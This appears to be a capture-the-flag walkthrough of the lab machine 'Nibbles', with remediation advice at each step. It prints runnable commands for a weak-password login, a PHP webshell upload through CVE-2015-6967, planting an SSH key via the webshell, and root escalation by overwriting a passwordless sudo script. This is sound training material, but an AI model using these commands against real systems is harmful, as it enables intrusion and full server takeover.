← all walkthroughs

Nibbles

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-06-29
time to own
3m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My browsing the target Apache web server found a hidden Nibbleblog CMS installation hinted at by an HTML comment in the default page. Using a trivially guessable admin password that matched the machine's own hostname, I authenticated to the CMS admin panel and exploited a known file-upload vulnerability to plant a PHP webshell, gaining a foothold as the 'nibbler' service account.

A single misconfigured sudo rule — letting nibbler run a script it freely owned and could overwrite as root, with no password required — handed my complete control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceWeb Content Discovery / Source Code Analysis
Discovered the hidden Nibbleblog CMS installation
The Apache default landing page contained an HTML comment pointing to /nibbleblog/. Navigating to that path exposed Nibbleblog v4.0.3, including its admin login panel at /nibbleblog/admin.php. The bundled README file confirmed the exact version number, allowing me to match it against published CVEs.
Nibbleblog v4.0.3 identified at http://$TARGET/nibbleblog/; README confirms version string.
Exact commands 3
Fetch default page; HTML source comment reveals /nibbleblog/ path.
curl -sS http://$TARGET/
Enumerate Nibbleblog sub-paths; confirms admin.php and content/private/ tree.
gobuster dir -u http://$TARGET/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -x php,txt
Confirm Nibbleblog version 4.0.3 from the bundled README.
curl -sS http://$TARGET/nibbleblog/README
FixUpgrade or decommission Nibbleblog and block PHP execution in upload directoriesCritical
WeaknessNibbleblog v4.0.3 (CVE-2015-6967) allows any authenticated administrator to upload a PHP file through the My Image plugin with no server-side file-type validation. Apache executes the uploaded file because it lands inside the web root without restrictions, turning a CMS feature into remote code execution.
FixReplace Nibbleblog with an actively-maintained CMS. If replacement is not immediately possible: (1) disable the My Image plugin in the Nibbleblog admin panel; (2) add an Apache directive — or an .htaccess file containing 'php_flag engine off' — to the nibbleblog/content/ tree to prevent PHP execution in any upload directory; (3) move the content/private/ directory outside the web root entirely so uploaded files are never directly accessible by a browser. Apply all available CMS patches in the interim.
2Credential AccessDefault / Weak Credential Exploitation (T1078.001)
Authenticated to the admin panel with a password equal to the hostname
The Nibbleblog admin account's password was '[REDACTED: recovered credential]' — identical to the server's own hostname. No account-lockout mechanism was active, so the credential was guessed in seconds. This granted full CMS administrative access required to reach the file-upload functionality exploited in the next step.
POST to /nibbleblog/admin.php with username=admin&password=[REDACTED: recovered credential] issued a valid session cookie.
Exact commands 1
A 302 redirect with a session cookie in Set-Cookie confirms successful authentication.
curl -sS -c /tmp/nb_cookies.txt -b /tmp/nb_cookies.txt -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" -D -
FixReplace weak admin credentials and enable login-attempt throttlingHigh
WeaknessThe Nibbleblog administrator account used the password '[REDACTED: recovered credential]', which mirrors the server's hostname and is guessable in seconds. No account-lockout or brute-force protection was configured, so an unauthorised user could attempt unlimited passwords with no consequence.
FixImmediately change the admin password to a randomly generated string of at least 16 characters (mixed case, numbers, and symbols) stored in a password manager. Enable failed-login throttling or temporary IP-based lockout after five consecutive failures. Restrict access to /nibbleblog/admin.php to a management IP allowlist using an Apache Location directive or upstream firewall rule, so the login page is never reachable from the public internet.
3ExploitationUnrestricted File Upload — CVE-2015-6967
Uploaded a PHP webshell disguised as an image via the My Image plugin
Nibbleblog v4.0.3's built-in 'My Image' plugin accepts file uploads but performs no server-side validation of the actual file type. I uploaded a one-line PHP webshell (<?php system($_GET['cmd']); ?>) while declaring the MIME type as image/jpeg. Nibbleblog stored the file at the predictable path /nibbleblog/content/private/plugins/my_image/image.php, where Apache's PHP handler executed it on request.
Upload response contained repeated 'Warning/nibbleblog' notices (image-processing errors) confirming the file was accepted and saved despite not being a real image.
Exact commands 1
All-in-one: create temp dir, write webshell, authenticate, upload as fake JPEG.
tmp=$(mktemp -d); printf '%s\n' '<?php system($_GET["cmd"]); ?>' > "$tmp/image.php"; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 http://$TARGET/nibbleblog/admin.php >/dev/null; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" >/dev/null; curl -sS -b "$tmp/c" -m 15 -F 'plugin=my_image' -F 'title=My image' -F 'position=4' -F 'caption=' -F "image=@$tmp/image.php;type=image/jpeg" -F 'image_resize=1' -F 'image_width=230' -F 'image_height=200' -F 'image_option=auto' "http://$TARGET/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"
4FootholdWeb Shell Command Execution (T1505.003)
Executed OS commands through the webshell and captured the user flag
The uploaded file was immediately reachable at a fixed URL. Passing OS commands via the 'cmd' query parameter confirmed remote code execution as user nibbler (uid=1001). I dropped an SSH public key into nibbler's authorized_keys file through the same webshell to obtain a stable, interactive shell, then read the user flag.
Curl response: uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) / nibbler / Nibbles
Exact commands 3
Verify RCE; expect nibbler's uid, username, and hostname.
curl -sS -m 8 "http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=id;whoami;hostname"
Plant my SSH public key via webshell for stable shell access. Replace <YOUR-SSH-PUBKEY>.
curl -sS -m 8 'http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=mkdir+-p+/home/nibbler/.ssh+%26%26+echo+"<YOUR-SSH-PUBKEY>"+>>+/home/nibbler/.ssh/authorized_keys+%26%26+chmod+600+/home/nibbler/.ssh/authorized_keys'
Connect via SSH using planted key and capture the user flag (value redacted as <user.txt>).
ssh -i /home/kali/lab/current/.ptest_target_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'find / -name user.txt 2>/dev/null -print; cat /home/nibbler/user.txt'
5Local EnumerationSudo Misconfiguration Enumeration (T1548.003)
Discovered a passwordless sudo rule targeting a user-owned script
Enumerating nibbler's sudo privileges revealed a NOPASSWD entry permitting execution of /home/nibbler/personal/stuff/monitor.sh as root. A quick permission check showed that the script file and its parent directory were owned by nibbler and world-writable, meaning nibbler could replace the script's contents with any payload.
Sudo -l output: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh; ls -la confirms nibbler ownership.
Exact commands 2
List all sudo rules for nibbler; identify NOPASSWD entries.
ssh -i /home/kali/lab/current/.ptest_target_ed25519 nibbler@$TARGET 'sudo -l'
Confirm nibbler owns and can write both the script and its containing directory.
ssh -i /home/kali/lab/current/.ptest_target_ed25519 nibbler@$TARGET 'ls -la /home/nibbler/personal/stuff/monitor.sh && stat /home/nibbler/personal/stuff/'
FixRemove the NOPASSWD sudo rule for a user-owned scriptCritical
WeaknessThe sudoers file granted the 'nibbler' account permission to execute /home/nibbler/personal/stuff/monitor.sh as root without a password. Because nibbler owned the script file and its parent directory, it could replace the script's contents with any command and immediately run it as root — a single-step privilege escalation requiring no exploit.
FixDelete the NOPASSWD sudoers entry for monitor.sh immediately (visudo, then remove or comment the line). If root-level monitoring is a genuine business need, re-implement it as a systemd timer or cron job owned and executed by root, so no unprivileged user can modify the script. If a sudo rule is truly required, move the script to a root-owned, root-only-writable path (e.g. /opt/scripts/monitor.sh, mode 744 owned by root:root), remove the NOPASSWD flag so a password is required, and verify that no parent directory is writable by the invoking user. Audit all accounts on the server with 'sudo -l' and remove or restrict any remaining NOPASSWD entries.
6Privilege EscalationSudo NOPASSWD Writable File Abuse (T1548.003)
Replaced monitor.sh with a root payload and executed it via sudo to own the server
Because nibbler owned the script file, my overwrote it with a two-line bash payload that printed the root identity and read /root/root.txt. Invoking it through the existing NOPASSWD sudo rule elevated execution to root instantly, completing the full server compromise with no password prompt.
Sudo execution returned uid=0(root); root flag captured (value redacted as <root.txt>).
Exact commands 1
Root flag returned as <root.txt>.
ssh -i /home/kali/lab/current/.ptest_target_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'printf "#!/bin/bash\nid\ncat /root/root.txt\n" > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh'